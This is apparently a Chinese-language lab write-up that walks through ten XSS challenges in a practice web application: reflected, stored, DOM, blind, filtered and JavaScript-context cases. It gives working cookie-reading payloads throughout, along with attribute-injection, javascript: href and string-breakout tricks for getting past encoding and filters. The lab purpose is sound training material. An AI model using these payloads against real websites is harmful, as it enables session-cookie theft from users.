1.反射型xss(get)
发现输入什么就返回什么
直接上
长度不够,无法输入完整
修改输入框的长度为1000
修改后输入得到
改为输入<script>alert(document.cookie)</script>
得到
2.反射型xss(post)
点一下提示知道账号密码
这里是改为post了
继续尝试<script>alert(document.cookie)</script>
发现依旧可行
3.存储型xss
尝试留言,发现什么都没有
试用<script>alert(/xss/)</script>,发现留言列表多了个删除
改为<script>alert(document.cookie)</script>尝试一下,发现直接出来了
因为是存储型的,在重新打开网站点到这个题是,它直接弹出cookie了
4.DOM型xss
试一下
尝试原来的方法,发现还是不行
查看源码元素,发现有东西
尝试后面那个' οnclick="alert(‘xss’)">
再改一下尝试' οnclick="alert(document.cookie)">
5.dom型xss-x
都是dom型尝试' οnclick="alert(document.cookie)">
发现可行
6.xss之盲打
尝试一下看有什么结果
发现只有一个谢谢参与,阁下的看法我们已经收到!
查看一下源码也没发现什么,看提示说要登录
跟着账号密码执行登录
登录后发现
多次确定后,停留在这里,没什么发现
由于后台内容和name都有记录,尝试用<script>alert(document.cookie)</script>
发现没什么
这时候登录后台看看有什么结果,发现登录后就出现了
再换一下前后
没有结果,就登录后台,它也是出来了
说明两个输入框都有xss漏洞
7.xss之过滤
因为是只有一个输入框,类似前面的,尝试<script>alert(document.cookie)</script>
发现不行
看题目和提示可以知道,它对一下东西是有过滤的,尝试一下绕后
斜杠替换:<script>alert(/document.cookie/)</script>
Prompt替换:<script>prompt(/document.cookie/)</script>
Confirm替换:<script>confirm(/document.cookie/)</script>
大小写替换:<ScRiPt>AlErT(/document.cookie/)</sCrIpT>
等等各种尝试没通过
当试到' οnclick="alert(document.cookie)">发现原原本本的返回出来
判断这个方向有猫腻
最后发现<a herf="#" οnclick="alert(document.cookie)">可以
8.xss之htmlspecialchars
先去查一下htmlspecialchars这个方法的含义
htmlspecialchars()函数:把预定义的字符转换为 HTML 实体
语法:htmlspecialchars(string,flags,character-set,double_encode)
预定义的字符:
&:转换为&
":转换为"
':转换为成为 '
<:转换为<
>:转换为>
尝试<script>alert(document.cookie)</script>
发现不行,查看源码,发现<script>alert(document.cookie)</script>
被转换成<script>alert(document.cookie)</script>
应该就是被htmlspecialchars()函数转换了
我们已经查看了预定义的字符的转换,单引号其实是也会被转换的,但实际好像没有
所以通过#' οnclick='alert(document.cookie)'尝试一下
发现可以
9.xss之href输出
尝试<script>alert(1)</script>,啥也没有
看源码知道依旧有符号被编码了
试用#' οnclick='alert(document.cookie)'发现也被编码
查看提示,看<a>的href属性,查看资料知道href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。
我们要获取cookie,2和3不行,试用4,javascript:alert(document.cookie)就可以获取了
10.xss之js输出
试用<script>alert(document.cookie)</script>发现什么都没有,查看源码发现有问题
这里显示错误,提示说输入被动态的生成到了javascript中,只要无中生有出一个js语句,首先要用’;闭合掉当前的语句,然后插入新语句,然后再用//注释掉老语句遗留下来的’;
输入';alert(document.cookie);//进行submit